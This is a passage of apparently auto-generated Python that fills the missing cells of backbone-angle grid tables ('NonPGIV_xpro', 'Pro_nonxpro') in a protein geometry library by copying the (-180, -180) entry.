NonPGIV_xpro[(160, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(160, 170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -180)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -170)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, -10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 0)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 10)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 20)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 30)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 40)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 50)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 60)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 70)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 80)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 90)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 100)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 110)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 120)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 130)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 140)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 150)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 160)]=NonPGIV_xpro[(-180, -180)]
NonPGIV_xpro[(170, 170)]=NonPGIV_xpro[(-180, -180)]
Pro_nonxpro = cdl_database["Pro_nonxpro"]
Pro_nonxpro[(-180, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-180, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-170, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-160, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-150, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-140, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-130, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-120, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 0)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-110, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -180)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, -10)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 20)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 30)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 40)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 50)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 60)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 70)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 80)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 90)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 100)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 110)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 120)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 130)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 140)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 150)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 160)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-100, 170)]=Pro_nonxpro[(-180, -180)]
Pro_nonxpro[(-90, -180)]=Pro_nonxpro[(-180, -180)]
